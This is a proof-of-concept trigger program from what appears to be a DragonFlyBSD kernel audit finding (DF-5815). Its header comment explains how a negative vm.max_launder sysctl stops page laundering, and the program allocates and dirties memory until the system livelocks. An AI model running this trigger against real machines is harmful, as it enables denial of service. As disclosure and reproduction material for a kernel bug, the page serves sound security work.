⬢ DragonFlyBSD Kernel Audit
DF-5815 / df5815_hog.c
← back to finding ↓ download raw
/*
 * DF-5815 trigger — unprivileged anonymous-memory hog.
 *
 * With vm.max_launder set to a negative value (root-writable sysctl),
 * vm_pageout_scan_inactive()'s max_launder computation
 * (sys/vm/vm_pageout.c:828-836) evaluates to a NEGATIVE per-queue
 * launder budget:
 *
 *      max_launder = vm_max_launder / PQ_L2_SIZE;        (negative)
 *      ...
 *      if (max_launder >= vm_max_launder / 16)           (always true
 *              max_launder = vm_max_launder / 16 + 1;     for vm<0)
 *
 * so vm_pageout_page()'s laundering branch (vm_pageout.c:1171
 * `else if (*max_launderp > 0)') is never taken: dirty pages are never
 * paged out, the pagedaemon can never rebuild free+cache, and the
 * system livelocks (continuous-paging warning, memory waiters stuck).
 *
 * This hog allocates and dirties anonymous memory until it is told to
 * stop or the system starves.  With the stock vm.max_launder the same
 * hog simply forces swapping and the system survives (baseline).
 *
 * build: cc -O2 -o df5815_hog df5815_hog.c
 * run:   ./df5815_hog <MB> [touch-loop-seconds]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

int
main(int argc, char **argv)
{
	unsigned long mb = 3072, i, sz;
	int loop = 60;
	char *p;
	time_t t0;

	if (argc > 1)
		mb = strtoul(argv[1], NULL, 0);
	if (argc > 2)
		loop = atoi(argv[2]);

	sz = mb * 1024 * 1024;
	p = malloc(sz);
	if (p == NULL) {
		fprintf(stderr, "malloc %lu MB failed\n", mb);
		return (1);
	}
	fprintf(stderr, "hog %lu MB, touching (pid %d)\n", mb, (int)getpid());
	t0 = time(NULL);
	i = 0;
	while (time(NULL) - t0 < (time_t)loop) {
		/* dirty every page, forever */
		for (i = 0; i < sz; i += 4096)
			p[i] = (char)(i >> 12);
	}
	fprintf(stderr, "hog done (%lds)\n", (long)(time(NULL) - t0));
	free(p);
	return (0);
}